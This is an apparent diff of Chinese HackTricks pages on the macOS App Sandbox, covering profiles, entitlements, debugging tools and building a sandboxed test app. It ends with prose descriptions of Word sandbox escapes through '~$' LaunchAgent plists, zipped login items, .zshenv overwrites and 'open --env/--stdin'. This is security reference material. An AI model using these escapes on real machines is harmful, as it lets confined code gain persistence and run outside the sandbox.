任何具有**授权** **`com.apple.security.app-sandbox`** 的应用程序将在沙箱内执行。**苹果二进制文件**通常在沙箱内执行,为了在**App Store**中发布应用程序,**此授权是强制性的**。因此,大多数应用程序将在沙箱内执行。
|
||||
任何具有**权限** **`com.apple.security.app-sandbox`**的应用程序都将在沙箱内执行。**Apple 二进制文件**通常在沙箱内执行,并且为了在**App Store**中发布,**此权限是强制性的**。因此,大多数应用程序将在沙箱内执行。
|
||||
|
||||
为了控制进程可以执行的操作,**沙箱在内核中的所有** **系统调用**中都有**钩子**。**根据**应用程序的**授权**,沙箱将**允许**特定操作。
|
||||
为了控制进程可以或不能做什么,**沙箱在内核的所有**syscalls**中都有钩子**。**根据**应用程序的**权限**,沙箱将**允许**某些操作。
|
||||
|
||||
沙箱的一些重要组件包括:
|
||||
|
||||
* **内核扩展** `/System/Library/Extensions/Sandbox.kext`
|
||||
* **私有框架** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* 在用户空间运行的**守护程序** `/usr/libexec/sandboxd`
|
||||
* 在用户空间运行的**守护进程** `/usr/libexec/sandboxd`
|
||||
* **容器** `~/Library/Containers`
|
||||
|
||||
在容器文件夹中,您可以找到**为每个在沙箱中执行的应用程序**的文件夹,文件夹名称为bundle id:
|
||||
在容器文件夹中,您可以找到**每个以沙箱方式执行的应用程序的文件夹**,其名称为包 ID:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
在每个 bundle id 文件夹中,您可以找到该应用的 **plist** 和 **Data 目录**:
|
||||
在每个 bundle id 文件夹内,您可以找到应用的 **plist** 和 **数据目录**:
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
请注意,即使符号链接存在以“逃离”沙盒并访问其他文件夹,应用程序仍然需要**具有权限**来访问它们。这些权限位于**`.plist`**文件中。
|
||||
请注意,即使符号链接存在以“逃离”沙箱并访问其他文件夹,应用程序仍然需要**拥有权限**才能访问它们。这些权限在**`.plist`**中。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -114,14 +115,14 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
所有由沙盒应用程序创建/修改的内容都将获得**隔离属性**。这将通过触发Gatekeeper来阻止沙盒应用程序尝试使用**`open`**执行某些操作。
|
||||
由沙盒应用程序创建/修改的所有内容将获得**隔离属性**。这将通过触发Gatekeeper来防止沙盒空间,如果沙盒应用程序尝试使用**`open`**执行某些操作。
|
||||
{% endhint %}
|
||||
|
||||
### 沙盒配置文件
|
||||
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的内容的配置文件。它使用**沙盒配置语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme_%28programming_language%29)编程语言。
|
||||
沙盒配置文件是指示在该**沙盒**中将被**允许/禁止**的配置文件。它使用**沙盒配置文件语言(SBPL)**,该语言使用[**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\))编程语言。
|
||||
|
||||
在这里,您可以找到一个示例:
|
||||
在这里您可以找到一个示例:
|
||||
```scheme
|
||||
(version 1) ; First you get the version
|
||||
|
||||
|
@ -140,22 +141,22 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
查看这个[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以查看更多可能被允许或拒绝的操作。**
|
||||
查看这个 [**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **以检查更多可以被允许或拒绝的操作。**
|
||||
{% endhint %}
|
||||
|
||||
重要的**系统服务**也在其自定义的**沙盒**中运行,例如`mdnsresponder`服务。您可以在以下位置查看这些自定义**沙盒配置文件**:
|
||||
重要的 **系统服务** 也在它们自己的自定义 **沙箱** 中运行,例如 `mdnsresponder` 服务。您可以在以下位置查看这些自定义 **沙箱配置文件**:
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* 其他沙盒配置文件可以在[https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles)中进行检查。
|
||||
* 其他沙箱配置文件可以在 [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles) 中查看。
|
||||
|
||||
**App Store** 应用程序使用**配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中查看诸如**`com.apple.security.network.server`**这样的授权如何允许进程使用网络。
|
||||
**App Store** 应用使用 **配置文件** **`/System/Library/Sandbox/Profiles/application.sb`**。您可以在此配置文件中检查诸如 **`com.apple.security.network.server`** 的权限如何允许进程使用网络。
|
||||
|
||||
SIP是一个名为platform\_profile的沙盒配置文件,位于/System/Library/Sandbox/rootless.conf
|
||||
SIP 是一个名为 platform\_profile 的沙箱配置文件,位于 /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### 沙盒配置文件示例
|
||||
### 沙箱配置文件示例
|
||||
|
||||
要使用**特定的沙盒配置文件**启动应用程序,您可以使用:
|
||||
要使用 **特定沙箱配置文件** 启动应用程序,您可以使用:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
|
@ -210,29 +211,29 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,运行在**Windows**上的**由苹果编写的软件**没有额外的安全预防措施,比如应用程序沙箱。
|
||||
请注意,**苹果编写的** **软件** 在 **Windows** 上 **没有额外的安全措施**,例如应用程序沙箱。
|
||||
{% endhint %}
|
||||
|
||||
绕过示例:
|
||||
|
||||
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(它们能够在沙箱之外写入以`~$`开头的文件)。
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)(他们能够写入以 `~$` 开头的沙箱外文件)。
|
||||
|
||||
### MacOS 沙箱配置文件
|
||||
|
||||
macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
macOS 将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/** 和 **/System/Library/Sandbox/Profiles**。
|
||||
|
||||
如果第三方应用程序携带了 _**com.apple.security.app-sandbox**_ 权限,系统将应用 **/System/Library/Sandbox/Profiles/application.sb** 配置文件到该进程。
|
||||
如果第三方应用程序携带 _**com.apple.security.app-sandbox**_ 权限,系统会将 **/System/Library/Sandbox/Profiles/application.sb** 配置文件应用于该进程。
|
||||
|
||||
### **iOS 沙箱配置文件**
|
||||
|
||||
默认配置文件名为 **container**,我们没有SBPL文本表示。在内存中,此沙箱被表示为每个权限的允许/拒绝二进制树。
|
||||
默认配置文件称为 **container**,我们没有 SBPL 文本表示。在内存中,这个沙箱被表示为每个权限的允许/拒绝二叉树。
|
||||
|
||||
### 调试和绕过沙箱
|
||||
### 调试与绕过沙箱
|
||||
|
||||
在macOS上,与iOS不同,进程必须自行选择加入沙箱。这意味着在macOS上,进程在主动决定进入沙箱之前不受沙箱限制。
|
||||
在 macOS 上,与 iOS 不同,iOS 的进程从一开始就由内核进行沙箱化,**进程必须自行选择进入沙箱**。这意味着在 macOS 上,进程在主动决定进入沙箱之前不会受到沙箱的限制。
|
||||
|
||||
如果进程具有权限:`com.apple.security.app-sandbox`,则在启动时从用户空间自动将进程置于沙箱中。有关此过程的详细解释,请查看:
|
||||
如果进程具有权限 `com.apple.security.app-sandbox`,则它们在启动时会自动从用户空间沙箱化。有关此过程的详细说明,请查看:
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
|
@ -240,20 +241,20 @@ macOS将系统沙箱配置文件存储在两个位置:**/usr/share/sandbox/**
|
|||
|
||||
### **检查 PID 权限**
|
||||
|
||||
[**根据此**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个`__mac_syscall`)可以检查在特定PID中沙箱是否允许执行某个操作。
|
||||
[**根据这个**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s),**`sandbox_check`**(它是一个 `__mac_syscall`)可以检查 **某个 PID 是否允许某个操作**。
|
||||
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查PID是否可以执行某个操作:
|
||||
[**工具 sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) 可以检查某个 PID 是否可以执行某个操作:
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### 在App Store应用程序中使用自定义SBPL
|
||||
### App Store 应用中的自定义 SBPL
|
||||
|
||||
公司可以使他们的应用程序运行**使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用授权的entitlement **`com.apple.security.temporary-exception.sbpl`**,这需要获得苹果的授权。
|
||||
公司可能会使他们的应用程序 **使用自定义沙盒配置文件**(而不是默认配置文件)。他们需要使用权限 **`com.apple.security.temporary-exception.sbpl`**,该权限需要得到 Apple 的授权。
|
||||
|
||||
可以在**`/System/Library/Sandbox/Profiles/application.sb:`**中检查此entitlement的定义。
|
||||
可以在 **`/System/Library/Sandbox/Profiles/application.sb:`** 中检查此权限的定义。
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -261,18 +262,19 @@ sbtool <pid> all
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
这将**评估此授权后的字符串**作为沙箱配置文件。
|
||||
这将**在此权限后评估字符串**作为沙盒配置文件。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,21 @@
|
|||
# macOS Default Sandbox Debug
|
||||
# macOS 默认沙箱调试
|
||||
|
||||
## macOS默认沙箱调试
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
在本页面中,您可以找到如何创建一个应用程序,从默认的macOS沙箱中启动任意命令:
|
||||
在此页面中,您可以找到如何创建一个应用程序以从默认 macOS 沙箱内部启动任意命令:
|
||||
|
||||
1. 编译应用程序:
|
||||
|
||||
|
@ -52,10 +51,9 @@ return 0;
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
运行以下命令进行编译:`clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. 构建 `.app` bundle
|
||||
编译运行: `clang -framework Foundation -o SandboxedShellApp main.m`
|
||||
|
||||
2. 构建 `.app` 包
|
||||
```bash
|
||||
mkdir -p SandboxedShellApp.app/Contents/MacOS
|
||||
mv SandboxedShellApp SandboxedShellApp.app/Contents/MacOS/
|
||||
|
@ -77,9 +75,10 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
3. 定义权限
|
||||
|
||||
3. 定义授权
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sandbox" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -92,25 +91,45 @@ cat << EOF > entitlements.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
\`\`\`bash cat << EOF > entitlements.plist com.apple.security.app-sandbox com.apple.security.files.downloads.read-write EOF \`\`\` 4. 对应用程序进行签名(您需要在钥匙串中创建一个证书) \`\`\`bash codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app ./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
||||
## An d in case you need this in the future
|
||||
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
|
||||
{% tab title="沙箱 + 下载" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>com.apple.security.app-sandbox</key>
|
||||
<true/>
|
||||
<key>com.apple.security.files.downloads.read-write</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
EOF
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
4. 签署应用程序(您需要在钥匙串中创建一个证书)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
||||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
```
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,76 +1,78 @@
|
|||
# macOS Office Sandbox Bypasses
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
### 通过启动代理绕过Word沙箱
|
||||
|
||||
该应用程序使用一个**自定义沙箱**,使用权限**`com.apple.security.temporary-exception.sbpl`**,这个自定义沙箱允许在文件名以`~$`开头时在任何地方写入文件:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
因此,绕过很容易,只需在`~/Library/LaunchAgents/~$escape.plist`中编写一个`plist`启动代理。
|
||||
|
||||
查看[**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。
|
||||
|
||||
### 通过登录项和zip绕过Word沙箱
|
||||
|
||||
请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件,尽管在修补了先前漏洞之后,无法在`/Library/Application Scripts`或`/Library/LaunchAgents`中写入。
|
||||
|
||||
在沙箱内发现可以创建一个**登录项**(用户登录时将执行的应用程序)。但是,这些应用程序**不会执行**,除非它们经过**公证**,并且**无法添加参数**(因此无法使用**`bash`**运行反向shell)。
|
||||
|
||||
从先前的沙箱绕过中,Microsoft禁用了在`~/Library/LaunchAgents`中写入文件的选项。但是,发现如果将**zip文件作为登录项**,`Archive Utility`将只是在当前位置解压缩它。因此,由于默认情况下`~/Library`中的`LaunchAgents`文件夹未创建,可以**在`~/Library`中压缩一个plist文件`LaunchAgents/~$escape.plist`**,并将zip文件放在**`~/Library`**中,因此在解压缩时将到达持久性目的地。
|
||||
|
||||
查看[**原始报告**](https://objective-see.org/blog/blog_0x4B.html)。
|
||||
|
||||
### 通过登录项和.zshenv绕过Word沙箱
|
||||
|
||||
(请记住,从第一个逃逸开始,Word可以写入任意以`~$`开头的文件)。
|
||||
|
||||
然而,先前的技术有一个限制,如果文件夹**`~/Library/LaunchAgents`**存在,因为其他软件创建了它,它将失败。因此,为此发现了不同的登录项链。
|
||||
|
||||
攻击者可以创建带有执行负载的文件**`.bash_profile`**和**`.zshenv`**,然后将它们压缩并将zip文件写入受害者的用户文件夹:**`~/~$escape.zip`**。
|
||||
|
||||
然后,将zip文件添加到**登录项**,然后添加**`Terminal`**应用程序。当用户重新登录时,zip文件将解压缩到用户文件中,覆盖**`.bash_profile`**和**`.zshenv`**,因此终端将执行其中一个文件(取决于使用的是bash还是zsh)。
|
||||
|
||||
查看[**原始报告**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c)。
|
||||
|
||||
### 使用Open和环境变量绕过Word沙箱
|
||||
|
||||
从沙箱化进程仍然可以使用**`open`**实用程序调用其他进程。此外,这些进程将在其自己的沙箱中运行。
|
||||
|
||||
发现`open`实用程序具有**`--env`**选项,用于使用**特定环境**变量运行应用程序。因此,可以在**沙箱内的文件夹中创建`.zshenv`文件**,然后使用`open`设置**`HOME`变量**到该文件夹,打开`Terminal`应用程序,该应用程序将执行`.zshenv`文件(由于某种原因,还需要设置变量`__OSINSTALL_ENVIROMENT`)。
|
||||
|
||||
查看[**原始报告**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/)。
|
||||
|
||||
### 使用Open和stdin绕过Word沙箱
|
||||
|
||||
**`open`**实用程序还支持**`--stdin`**参数(在先前的绕过之后,无法再使用`--env`)。
|
||||
|
||||
问题在于,即使**`python`**由Apple签名,它也**不会执行**带有**`quarantine`**属性的脚本。但是,可以将脚本从stdin传递给它,因此它不会检查它是否被隔离: 
|
||||
|
||||
1. 放置一个带有任意Python命令的**`~$exploit.py`**文件。
|
||||
2. 运行_open_ **`–stdin='~$exploit.py' -a Python`**,这将使用我们放置的文件作为其标准输入运行Python应用程序。Python愉快地运行我们的代码,并且由于它是_launchd_的子进程,它不受Word沙箱规则的约束。
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Word Sandbox 通过 Launch Agents 绕过
|
||||
|
||||
该应用程序使用 **自定义沙箱**,使用权限 **`com.apple.security.temporary-exception.sbpl`**,此自定义沙箱允许在任何地方写入文件,只要文件名以 `~$` 开头:`(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
因此,逃逸的方式就是 **在 `~/Library/LaunchAgents/~$escape.plist` 中写入一个 `plist`** 启动代理。
|
||||
|
||||
查看 [**原始报告**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/)。
|
||||
|
||||
### Word Sandbox 通过登录项和 zip 绕过
|
||||
|
||||
请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件,尽管在之前漏洞的修补后,无法在 `/Library/Application Scripts` 或 `/Library/LaunchAgents` 中写入。
|
||||
|
||||
发现从沙箱内可以创建 **登录项**(用户登录时将执行的应用程序)。但是,这些应用程序 **不会执行,除非** 它们 **经过公证**,并且 **无法添加参数**(因此不能仅使用 **`bash`** 运行反向 shell)。
|
||||
|
||||
在之前的沙箱绕过中,微软禁用了在 `~/Library/LaunchAgents` 中写入文件的选项。然而,发现如果将 **zip 文件作为登录项**,`Archive Utility` 将会 **解压** 到其当前位置。因此,由于默认情况下 `~/Library` 中不会创建 `LaunchAgents` 文件夹,可以 **将 plist 压缩到 `LaunchAgents/~$escape.plist` 中**,并 **将 zip 文件放置在 `~/Library` 中**,这样解压时将到达持久性目标。
|
||||
|
||||
查看 [**原始报告**](https://objective-see.org/blog/blog\_0x4B.html)。
|
||||
|
||||
### Word Sandbox 通过登录项和 .zshenv 绕过
|
||||
|
||||
(请记住,从第一次逃逸开始,Word 可以写入以 `~$` 开头的任意文件)。
|
||||
|
||||
